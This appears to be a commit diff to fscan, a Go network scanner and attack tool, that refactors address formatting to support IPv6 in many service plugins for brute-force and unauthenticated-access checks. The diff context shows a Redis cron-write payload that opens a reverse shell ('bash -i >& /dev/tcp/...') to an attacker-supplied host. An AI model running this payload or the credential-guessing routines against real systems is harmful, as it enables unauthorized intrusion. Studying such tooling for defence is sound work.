mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
fix: harden address parsing edge cases
This commit is contained in:
@@ -5,7 +5,6 @@ package services
|
||||
import (
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
@@ -28,7 +27,7 @@ func (p *BACnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
timeout = 3 * time.Second
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
target := info.Target()
|
||||
conn, err := session.DialUDP(ctx, target, timeout)
|
||||
if err != nil {
|
||||
return &ScanResult{Success: false, Service: "bacnet"}
|
||||
|
||||
@@ -84,7 +84,7 @@ const (
|
||||
)
|
||||
|
||||
func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
addr := info.Target()
|
||||
timeout := config.Timeout
|
||||
|
||||
dialer := net.Dialer{Timeout: timeout}
|
||||
@@ -251,7 +251,7 @@ func classifyCassandraErrorType(err error) ErrorType {
|
||||
|
||||
func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
addr := info.Target()
|
||||
timeout := config.Timeout
|
||||
|
||||
dialer := net.Dialer{Timeout: timeout}
|
||||
@@ -297,7 +297,7 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.
|
||||
|
||||
func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
addr := info.Target()
|
||||
timeout := config.Timeout
|
||||
|
||||
dialer := net.Dialer{Timeout: timeout}
|
||||
|
||||
@@ -133,7 +133,7 @@ func DefaultConcurrentTestConfig(config *common.Config) ConcurrentTestConfig {
|
||||
// DefaultConcurrentTestConfigWithTarget 带目标预检的默认配置
|
||||
func DefaultConcurrentTestConfigWithTarget(config *common.Config, info *common.HostInfo) ConcurrentTestConfig {
|
||||
cfg := DefaultConcurrentTestConfig(config)
|
||||
cfg.TargetAddr = fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
cfg.TargetAddr = info.Target()
|
||||
return cfg
|
||||
}
|
||||
|
||||
|
||||
@@ -4,7 +4,6 @@ package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
@@ -25,7 +24,7 @@ func (p *DNSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
timeout = 3 * time.Second
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
target := info.Target()
|
||||
queryID := randomUint16()
|
||||
query := buildDNSRootNSQuery(queryID)
|
||||
|
||||
|
||||
@@ -5,7 +5,6 @@ package services
|
||||
import (
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"time"
|
||||
|
||||
@@ -27,7 +26,7 @@ func (p *DNSTCPPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
timeout = 3 * time.Second
|
||||
}
|
||||
|
||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
addr := info.Target()
|
||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return &ScanResult{Success: false, Service: "dns"}
|
||||
|
||||
@@ -88,7 +88,7 @@ func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.H
|
||||
if info.Port == 9443 {
|
||||
protocol = "https"
|
||||
}
|
||||
url := fmt.Sprintf("%s://%s:%d/", protocol, info.Host, info.Port)
|
||||
url := fmt.Sprintf("%s://%s/", protocol, info.Target())
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", url, nil)
|
||||
if err != nil {
|
||||
|
||||
@@ -28,7 +28,7 @@ func (p *IMAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
||||
timeout = 3 * time.Second
|
||||
}
|
||||
|
||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
addr := info.Target()
|
||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return &ScanResult{Success: false, Service: "imap"}
|
||||
@@ -75,7 +75,7 @@ func (p *IMAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
||||
}
|
||||
|
||||
func (p *IMAPPlugin) tryLogin(ctx context.Context, info *common.HostInfo, cred plugins.Credential, timeout time.Duration, session *common.ScanSession) *ScanResult {
|
||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
addr := info.Target()
|
||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return nil
|
||||
|
||||
+19
-19
@@ -25,7 +25,7 @@ func (p *IPMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
||||
timeout = 3 * time.Second
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
target := info.Target()
|
||||
|
||||
if result := p.rmcpPing(ctx, target, timeout, session); result != nil {
|
||||
return result
|
||||
@@ -42,15 +42,15 @@ func (p *IPMIPlugin) rmcpPing(ctx context.Context, target string, timeout time.D
|
||||
|
||||
// ASF Presence Ping: RMCP header + ASF message
|
||||
ping := []byte{
|
||||
0x06, // RMCP version 1.0
|
||||
0x00, // reserved
|
||||
0xff, // sequence number (no ack)
|
||||
0x06, // class = ASF
|
||||
0x06, // RMCP version 1.0
|
||||
0x00, // reserved
|
||||
0xff, // sequence number (no ack)
|
||||
0x06, // class = ASF
|
||||
0x00, 0x00, 0x11, 0xbe, // IANA enterprise = ASF (4542)
|
||||
0x80, // message type = Presence Ping
|
||||
0x00, // message tag
|
||||
0x00, // reserved
|
||||
0x00, // data length = 0
|
||||
0x80, // message type = Presence Ping
|
||||
0x00, // message tag
|
||||
0x00, // reserved
|
||||
0x00, // data length = 0
|
||||
}
|
||||
|
||||
if _, err := conn.Write(ping); err != nil {
|
||||
@@ -108,16 +108,16 @@ func (p *IPMIPlugin) getChannelAuth(conn interface {
|
||||
0x00, 0x00, 0x00, 0x00, // auth type = none
|
||||
0x00, 0x00, 0x00, 0x00, // session seq
|
||||
0x00, 0x00, 0x00, 0x00, // session id
|
||||
0x09, // message length
|
||||
0x20, // target = BMC
|
||||
0x18, // netFn=App(6) << 2 | lun=0
|
||||
0xc8, // checksum
|
||||
0x81, // source
|
||||
0x00, // seq
|
||||
0x38, // cmd = Get Channel Auth Capabilities
|
||||
0x8e, // channel=14 (current), IPMI v2.0
|
||||
0x04, // privilege = Administrator
|
||||
0xb5, // checksum
|
||||
0x09, // message length
|
||||
0x20, // target = BMC
|
||||
0x18, // netFn=App(6) << 2 | lun=0
|
||||
0xc8, // checksum
|
||||
0x81, // source
|
||||
0x00, // seq
|
||||
0x38, // cmd = Get Channel Auth Capabilities
|
||||
0x8e, // channel=14 (current), IPMI v2.0
|
||||
0x04, // privilege = Administrator
|
||||
0xb5, // checksum
|
||||
}
|
||||
|
||||
if _, err := conn.Write(pkt); err != nil {
|
||||
|
||||
@@ -5,7 +5,6 @@ package services
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"time"
|
||||
|
||||
@@ -29,7 +28,7 @@ func (p *JDWPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
||||
timeout = 3 * time.Second
|
||||
}
|
||||
|
||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
addr := info.Target()
|
||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return &ScanResult{Success: false, Service: "jdwp"}
|
||||
@@ -57,16 +56,20 @@ func (p *JDWPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
||||
}
|
||||
}
|
||||
|
||||
func (p *JDWPPlugin) getVersion(conn interface{ Read([]byte) (int, error); Write([]byte) (int, error); SetDeadline(time.Time) error }, timeout time.Duration) string {
|
||||
func (p *JDWPPlugin) getVersion(conn interface {
|
||||
Read([]byte) (int, error)
|
||||
Write([]byte) (int, error)
|
||||
SetDeadline(time.Time) error
|
||||
}, timeout time.Duration) string {
|
||||
_ = conn.SetDeadline(time.Now().Add(timeout))
|
||||
|
||||
// JDWP Version command: length=11, id=1, flags=0, commandSet=1, command=1
|
||||
pkt := []byte{
|
||||
0x00, 0x00, 0x00, 0x0b, // length = 11
|
||||
0x00, 0x00, 0x00, 0x01, // id = 1
|
||||
0x00, // flags = 0 (request)
|
||||
0x01, // commandSet = 1 (VirtualMachine)
|
||||
0x01, // command = 1 (Version)
|
||||
0x00, // flags = 0 (request)
|
||||
0x01, // commandSet = 1 (VirtualMachine)
|
||||
0x01, // command = 1 (Version)
|
||||
}
|
||||
if _, err := conn.Write(pkt); err != nil {
|
||||
return ""
|
||||
|
||||
@@ -65,7 +65,7 @@ func (p *KafkaPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi
|
||||
// ── raw TCP Kafka 实现 ──────────────────────────────────────────
|
||||
|
||||
func (p *KafkaPlugin) doKafkaAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
target := info.Target()
|
||||
timeout := config.Timeout
|
||||
|
||||
dialer := net.Dialer{Timeout: timeout}
|
||||
|
||||
@@ -5,7 +5,6 @@ package services
|
||||
import (
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"time"
|
||||
|
||||
@@ -27,7 +26,7 @@ func (p *ModbusPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
timeout = 3 * time.Second
|
||||
}
|
||||
|
||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
addr := info.Target()
|
||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return &ScanResult{Success: false, Service: "modbus"}
|
||||
|
||||
@@ -83,7 +83,7 @@ func (p *MongoDBPlugin) createAuthFunc(info *common.HostInfo, config *common.Con
|
||||
// ── raw TCP MongoDB SCRAM 认证 ──────────────────────────────────
|
||||
|
||||
func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
addr := info.Target()
|
||||
timeout := config.Timeout
|
||||
|
||||
conn, err := dialTCP(ctx, addr, timeout)
|
||||
@@ -384,7 +384,7 @@ func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostIn
|
||||
}
|
||||
|
||||
func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, session *common.ScanSession) (bool, error) {
|
||||
realhost := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
realhost := info.Target()
|
||||
|
||||
reply, err := p.checkMongoAuth(ctx, realhost, createOpMsgPacket(), session)
|
||||
if err != nil {
|
||||
|
||||
@@ -37,7 +37,7 @@ func (p *MQTTPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
||||
timeout = 3 * time.Second
|
||||
}
|
||||
|
||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
addr := info.Target()
|
||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return &ScanResult{Success: false, Service: "mqtt"}
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/go-sql-driver/mysql"
|
||||
@@ -76,8 +77,8 @@ func (p *MySQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi
|
||||
|
||||
// doMySQLAuth 执行MySQL认证
|
||||
func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
connStr := fmt.Sprintf("%s:%s@tcp(%s:%d)/information_schema?charset=utf8&timeout=%ds",
|
||||
cred.Username, cred.Password, info.Host, info.Port, int64(config.Timeout.Seconds()))
|
||||
connStr := fmt.Sprintf("%s:%s@tcp(%s)/information_schema?charset=utf8&timeout=%ds",
|
||||
cred.Username, cred.Password, net.JoinHostPort(info.Host, strconv.Itoa(info.Port)), int64(config.Timeout.Seconds()))
|
||||
|
||||
db, err := sql.Open("mysql", connStr)
|
||||
if err != nil {
|
||||
|
||||
@@ -71,7 +71,7 @@ func (p *Neo4jPlugin) createAuthFunc(info *common.HostInfo, session *common.Scan
|
||||
// doNeo4jAuth 执行Neo4j认证
|
||||
func (p *Neo4jPlugin) doNeo4jAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
|
||||
config := session.Config
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
||||
baseURL := "http://" + info.Target()
|
||||
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
@@ -147,7 +147,7 @@ func classifyNeo4jErrorType(err error) ErrorType {
|
||||
|
||||
func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||
config := session.Config
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
||||
baseURL := "http://" + info.Target()
|
||||
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
@@ -192,7 +192,7 @@ func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H
|
||||
func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||
config := session.Config
|
||||
target := info.Target()
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
||||
baseURL := "http://" + info.Target()
|
||||
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
|
||||
@@ -26,7 +26,7 @@ func (p *NFSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
timeout = 3 * time.Second
|
||||
}
|
||||
|
||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
addr := info.Target()
|
||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return &ScanResult{Success: false, Service: "nfs"}
|
||||
|
||||
@@ -96,7 +96,7 @@ type oracleSummary struct {
|
||||
}
|
||||
|
||||
func oracleRawAuth(ctx context.Context, host string, port int, serviceName, username, password string, timeout time.Duration) error {
|
||||
addr := fmt.Sprintf("%s:%d", host, port)
|
||||
addr := net.JoinHostPort(host, strconv.Itoa(port))
|
||||
dialer := net.Dialer{Timeout: timeout}
|
||||
conn, err := dialer.DialContext(ctx, "tcp", addr)
|
||||
if err != nil {
|
||||
|
||||
@@ -28,7 +28,7 @@ func (p *POP3Plugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
||||
timeout = 3 * time.Second
|
||||
}
|
||||
|
||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
addr := info.Target()
|
||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return &ScanResult{Success: false, Service: "pop3"}
|
||||
@@ -75,7 +75,7 @@ func (p *POP3Plugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
||||
}
|
||||
|
||||
func (p *POP3Plugin) tryLogin(ctx context.Context, info *common.HostInfo, cred plugins.Credential, timeout time.Duration, session *common.ScanSession) *ScanResult {
|
||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
addr := info.Target()
|
||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return nil
|
||||
|
||||
@@ -6,6 +6,8 @@ import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
_ "github.com/lib/pq" // PostgreSQL driver
|
||||
@@ -71,8 +73,7 @@ func (p *PostgreSQLPlugin) createAuthFunc(info *common.HostInfo, config *common.
|
||||
|
||||
// doPostgreSQLAuth 执行PostgreSQL认证
|
||||
func (p *PostgreSQLPlugin) doPostgreSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
connStr := fmt.Sprintf("postgres://%s:%s@%s:%d/postgres?sslmode=disable&connect_timeout=%d",
|
||||
cred.Username, cred.Password, info.Host, info.Port, int64(config.Timeout.Seconds()))
|
||||
connStr := postgreSQLConnString(cred.Username, cred.Password, info, int64(config.Timeout.Seconds()))
|
||||
|
||||
db, err := sql.Open("postgres", connStr)
|
||||
if err != nil {
|
||||
@@ -148,10 +149,27 @@ func classifyPostgreSQLErrorType(err error) ErrorType {
|
||||
return ClassifyError(err, pgAuthErrors, pgNetworkErrors)
|
||||
}
|
||||
|
||||
func postgreSQLConnString(username, password string, info *common.HostInfo, timeoutSeconds int64) string {
|
||||
u := &url.URL{
|
||||
Scheme: "postgres",
|
||||
Host: info.Target(),
|
||||
Path: "postgres",
|
||||
}
|
||||
if password == "" {
|
||||
u.User = url.User(username)
|
||||
} else {
|
||||
u.User = url.UserPassword(username, password)
|
||||
}
|
||||
q := u.Query()
|
||||
q.Set("sslmode", "disable")
|
||||
q.Set("connect_timeout", strconv.FormatInt(timeoutSeconds, 10))
|
||||
u.RawQuery = q.Encode()
|
||||
return u.String()
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试PostgreSQL未授权访问
|
||||
func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
connStr := fmt.Sprintf("postgres://postgres@%s:%d/postgres?sslmode=disable&connect_timeout=%d",
|
||||
info.Host, info.Port, int64(config.Timeout.Seconds()))
|
||||
connStr := postgreSQLConnString("postgres", "", info, int64(config.Timeout.Seconds()))
|
||||
|
||||
db, err := sql.Open("postgres", connStr)
|
||||
if err != nil {
|
||||
@@ -204,8 +222,7 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com
|
||||
func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
connStr := fmt.Sprintf("postgres://invalid:invalid@%s:%d/postgres?sslmode=disable&connect_timeout=%d",
|
||||
info.Host, info.Port, int64(config.Timeout.Seconds()))
|
||||
connStr := postgreSQLConnString("invalid", "invalid", info, int64(config.Timeout.Seconds()))
|
||||
|
||||
db, err := sql.Open("postgres", connStr)
|
||||
if err != nil {
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func TestPostgreSQLConnStringEscapesIPv6AndCredentials(t *testing.T) {
|
||||
info := &common.HostInfo{Host: "2001:db8::1", Port: 5432}
|
||||
got := postgreSQLConnString("user:name", "pa:ss word", info, 3)
|
||||
|
||||
for _, want := range []string{
|
||||
"postgres://user%3Aname:pa%3Ass%20word@[2001:db8::1]:5432/postgres",
|
||||
"connect_timeout=3",
|
||||
"sslmode=disable",
|
||||
} {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Fatalf("postgreSQLConnString() = %q, missing %q", got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -6,7 +6,9 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -81,7 +83,7 @@ func (p *RabbitMQPlugin) doRabbitMQAuth(ctx context.Context, info *common.HostIn
|
||||
}
|
||||
}
|
||||
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, port)
|
||||
baseURL := "http://" + net.JoinHostPort(info.Host, strconv.Itoa(port))
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/api/overview", nil)
|
||||
@@ -162,7 +164,7 @@ func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *commo
|
||||
port = 15672
|
||||
}
|
||||
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, port)
|
||||
baseURL := "http://" + net.JoinHostPort(info.Host, strconv.Itoa(port))
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
// 测试无认证访问
|
||||
@@ -261,7 +263,7 @@ func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostI
|
||||
func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||
config := session.Config
|
||||
target := info.Target()
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
||||
baseURL := "http://" + info.Target()
|
||||
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
|
||||
@@ -594,11 +594,15 @@ func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text str
|
||||
}
|
||||
|
||||
// 解析目标地址
|
||||
target := strings.Split(host, ":")
|
||||
if len(target) < 2 {
|
||||
scanIp, scanPort, err := net.SplitHostPort(strings.TrimSpace(host))
|
||||
if err != nil && strings.Count(host, ":") == 1 {
|
||||
target := strings.SplitN(host, ":", 2)
|
||||
scanIp, scanPort = strings.TrimSpace(target[0]), strings.TrimSpace(target[1])
|
||||
err = nil
|
||||
}
|
||||
if err != nil || scanIp == "" || scanPort == "" {
|
||||
return false, i18n.GetText("redis_host_format_invalid"), nil
|
||||
}
|
||||
scanIp, scanPort := target[0], target[1]
|
||||
|
||||
// 写入cron任务
|
||||
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)
|
||||
|
||||
@@ -29,7 +29,7 @@ func (p *RMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
||||
timeout = 3 * time.Second
|
||||
}
|
||||
|
||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
addr := info.Target()
|
||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return &ScanResult{Success: false, Service: "rmi"}
|
||||
|
||||
@@ -125,11 +125,23 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr
|
||||
}
|
||||
|
||||
// 提取第一个模块名
|
||||
firstModuleLine := modules[0]
|
||||
firstModule := strings.Fields(firstModuleLine)[0]
|
||||
var firstModule string
|
||||
for _, moduleLine := range modules {
|
||||
if fields := strings.Fields(moduleLine); len(fields) > 0 {
|
||||
firstModule = fields[0]
|
||||
break
|
||||
}
|
||||
}
|
||||
if firstModule == "" {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: fmt.Errorf("%s", i18n.GetText("rsync_modules_failed")),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用 go-rsync 库进行认证测试
|
||||
address := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
address := info.Target()
|
||||
dummyFS := &dummyStorage{}
|
||||
|
||||
_, err := rsync.SocketClient(
|
||||
|
||||
@@ -203,7 +203,7 @@ var (
|
||||
|
||||
// probeTarget 探测目标SMB信息(协议版本、系统信息)
|
||||
func probeTarget(ctx context.Context, host string, port int, timeout time.Duration, session *common.ScanSession) (*SMBTarget, error) {
|
||||
target := fmt.Sprintf("%s:%d", host, port)
|
||||
target := net.JoinHostPort(host, strconv.Itoa(port))
|
||||
|
||||
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
|
||||
if err != nil {
|
||||
@@ -485,7 +485,7 @@ func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port
|
||||
timeoutCtx, cancel := context.WithTimeout(ctx, timeout)
|
||||
defer cancel()
|
||||
|
||||
conn, err := session.DialTCP(ctx, "tcp", fmt.Sprintf("%s:%d", host, port), timeout)
|
||||
conn, err := session.DialTCP(ctx, "tcp", net.JoinHostPort(host, strconv.Itoa(port)), timeout)
|
||||
if err != nil {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
|
||||
@@ -28,7 +28,7 @@ func (p *SNMPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
||||
timeout = 3 * time.Second
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
target := info.Target()
|
||||
|
||||
result := p.probe(ctx, target, "public", timeout, session)
|
||||
if result == nil {
|
||||
@@ -257,4 +257,3 @@ func init() {
|
||||
return NewSNMPPlugin()
|
||||
}, []int{161})
|
||||
}
|
||||
|
||||
|
||||
@@ -26,7 +26,7 @@ func (p *TFTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
||||
timeout = 3 * time.Second
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
target := info.Target()
|
||||
conn, err := session.DialUDP(ctx, target, timeout)
|
||||
if err != nil {
|
||||
return &ScanResult{Success: false, Service: "tftp"}
|
||||
|
||||
@@ -4,7 +4,6 @@ package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -26,7 +25,7 @@ func (p *ZooKeeperPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
timeout = 3 * time.Second
|
||||
}
|
||||
|
||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
addr := info.Target()
|
||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||
if err != nil {
|
||||
return &ScanResult{Success: false, Service: "zookeeper"}
|
||||
|
||||
Reference in New Issue
Block a user